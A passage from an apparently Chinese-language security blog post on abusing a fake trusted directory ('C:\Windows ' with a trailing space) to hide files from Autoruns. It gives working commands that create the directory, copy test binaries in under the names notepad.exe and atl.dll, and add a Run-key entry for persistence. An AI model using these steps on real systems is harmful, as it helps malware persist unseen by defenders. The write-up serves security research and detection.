0x00 前言
在上篇文章《通过模拟可信目录绕过UAC的利用分析》对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议。
0x01 简介
本文将要介绍以下内容:
· 利用模拟可信目录绕过Autoruns
· 利用模拟可信目录欺骗ShimCache
· 利用模拟可信目录伪造正常的UAC弹框
0x02 利用模拟可信目录绕过Autoruns
绕过原理:
Autoruns默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在Autoruns面板。
在Windows系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在Autoruns面板。
经过测试,并不适用于所有的启动位置,具体测试如下:
创建模拟的可信目录,添加测试文件:
md "\\?\c:\windows "
md "\\?\c:\windows \system32"
copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"
copy c:\test\calc.dll "\\?\c:\windows \system32\atl.dll"
1、注册启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RunTest /t REG_SZ /d "\"c:\windows \system32\notepad.exe\""
注:"在cmd下转义后用\"表示。
Autoruns检测注册表项,将其识别为notepad.exe,如下图: